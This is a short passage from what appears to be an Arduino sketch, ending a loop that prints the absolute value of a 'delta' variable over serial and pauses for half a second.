  Serial.println(abs(delta));
  delay(500);
}